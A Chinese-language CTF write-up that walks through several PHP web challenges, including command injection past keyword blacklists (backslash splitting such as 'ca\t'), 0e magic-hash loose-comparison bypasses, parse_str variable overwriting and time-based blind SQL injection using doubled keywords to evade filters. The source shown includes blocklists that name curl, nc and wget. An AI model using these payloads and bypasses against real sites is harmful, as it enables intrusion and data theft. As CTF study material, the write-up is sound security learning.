0x01前言

没报名,但是后面发现这个比赛的赛题挺好玩的,就浮现玩一下

0x02赛题

大道轮回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
session_start();
/*
跳出轮回的真谛开头是:XNCTF
*/
show_source(__FILE__);
error_reporting(0);
if (isset($_GET['sha256']) && isset($_GET['cmd'])) {
$sha256 = $_GET['sha256'];
$cmd = $_GET['cmd'];


if (substr(sha256($sha256), 0, 6) === '647d99') {
echo "踏平坎坷成大道,斗罢艰险又出发";

if (preg_match("/;|cat|flag|&nbsp;|[0-9]|$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\|%|\x09|\x26/i", $cmd)) {
echo "打破顽空,跳出轮回的真谛在:";
system($cmd . " > /dev/null 2>&1");
} else {
echo "取了真经又如何,不过是只有功的泼猴";
}
} else {
echo "是假易灭,是假难除";
}
} else {
echo "你终究不是他";
}

// SHA-256 计算函数
function sha256($data) {
return hash('sha256', $data);
}
?>
你终究不是他

这里的话是if嵌套,要传入一个cmd参数和一个sha256参数,sha256参数的值经过sha256哈希计算后的前六位要等于647d99,这里直接贴个脚本

1
2
3
4
5
6
7
import hashlib#用于进行哈希运算。MD5 是一种常用的哈希算法之一。

for i in range(1,10000000000000):
m=hashlib.sha256(str(i).encode()).hexdigest()#计算字符串的 sha256 哈希值,并将结果转换为十六进制的字符串表示
if m[0:6]=='647d99':
print(i)#如果找到符合条件的 i,则打印该整数。
break

image-20250121224131115

然后那个cmd之前做过,就直接写wp了

payload

1
2
cmd=ls /;ls&sha256=3084863
cmd=cat /Fl@@@g;ls&sha256=3084863

奇怪的是这里没有过滤cat

image-20250121230004571

image-20250121233233827

关关难过关关过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
include "secret.php";
header('Content-Type: text/html; charset=UTF-8');
show_source(__FILE__);
error_reporting(0);
#听说你很懂php
if (isset($_POST['one']) && isset($_POST['two']) && sha1((string)$_POST['one']) == md5((string)$_POST['two'])){
echo "第一步out";
}else die("抱歉");

#md5(xxxx7894xxx)
if(isset($_POST["14_12_45"])){
if(md5($_POST["14_12_45"]) === "19cb79e80ab6d5400950c392d077cc1c"){
echo "你好棒呀";
echo "下一关:".$top2;

}
}

抱歉

第一个判断句用强碰撞进行绕过

1
one=aaroZmOk&two=QNKCDZO

这两个经过哈希计算后都是0e开头的

然后md5的话只需要找到那几个未知的数字就行

贴个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib

def md5_hash(value):
return hashlib.md5(str(value).encode('utf-8')).hexdigest()

target_md5 = "19cb79e80ab6d5400950c392d077cc1c"
text = "7894"

for i in range(10000):
for j in range(1000):
num_str = f"{i:04d}{text}{j:03d}"

hash_value = md5_hash(num_str)
if hash_value == target_md5:
print(f"Found match: {num_str}")
exit(0)

print("No match found.")

所以运算的结果+payload就是

1
one=aaroZmOk&&two=240610708&&14_12_45=65417894321

然后得到下一关的路由15d83d6f116820a5.php,访问得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
include "secret.php";
header('Content-Type: text/html; charset=UTF-8');
show_source(__FILE__);
error_reporting(0);
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
$key = sha1($pass);
}
if (isset($key) && $key == 'b84eb44c485303b69630663fc2f9c050af508dda') {
echo "下一关:".$top3;
} else {
die("你小汁");
}

parse_str($_SERVER[‘QUERY_STRING’]);会把url后面的查询字符串转化成参数变量

这两个语句不是嵌套语句,直接传key=b84eb44c485303b69630663fc2f9c050af508dda就行

进入第三关路由b3083cc69ebf4e0b.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include "secret.php";
header('Content-Type: text/html; charset=UTF-8');
show_source(__FILE__);
error_reporting(0);
echo $top4;
if (isset($_POST['input'])) {
$input = $_POST['input'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|\
[|sh|cut|strings|od|curl|ping|\*|sort|ch|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sud
o|more|cc|tac|less|head|\.|
{|}|tar|]|gcc|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?
|wget|"|\'|\|php|id|whoami|=/i', $input)) {
system($input);
}else{
die("wk hacker");
}
}
flag在 /fllllag

过滤了很多东西,但是可以发现反斜杠没有过滤,我们用反斜杠去绕过就可以了

payload

1
2
input=l\s
input=ca\t /fllllag

ctfer平台(

image-20250122005404467

一个登录系统界面,不过我在登录界面发现如果用户名是admin的话只会提示密码错误,而输入其他的则会提示用户名不存在,应该是需要登录admin账号伪造admin,但是测试了之后发现这里应该没得漏洞可以打,那就只能先注册登进去看看了

进去后在个人资料页面看到有头像上传

image-20250122005943169

想测一下是不是文件上传漏洞,后面发现这个实例是在无痕窗口开的,chrome的插件和代理都不能用,bp用不了那我玩啥,直接看wp学习了

果然,是在主页抓包然后进行admin伪造,拿到一个pingpingping.php的路由

测试一下发现可以打rce,但是过滤的函数有很多,rce成功了也没有输出,那就只能试着去反弹shell了

冷暴力

image-20250122203451888

题目提示是时间盲注,传入1and sleep(5)语句后也确实有时间延迟,应该是时间盲注,测试一下

1
2
3
4
5
1 and if(1,sleep(2),1)#出现延迟
1 and if(length(1)=1,sleep(2),1)#正常延迟
1 and if(substr('ctf',1,1)='c',sleep(2),1)#无延迟,用双写绕过substr就有延迟了
1 and if(ascasciiii(subsubstrstr((select grougroupp_concat(schema_name)from information_schema.schemata),1,1))>'32',sleep(2),1)#一个个测出来是过滤了group和ascii
1 and if(ascasciiii(subsubstrstr((select grougroupp_concat(table_name)from information_schema.tables where table_schema=dadatabasetabase()),1,1))>'32',sleep(2),1)#过滤了database

然后直接上脚本就行了,后面跑的时候发现flag也被过滤了,绕过flag才能拿到flag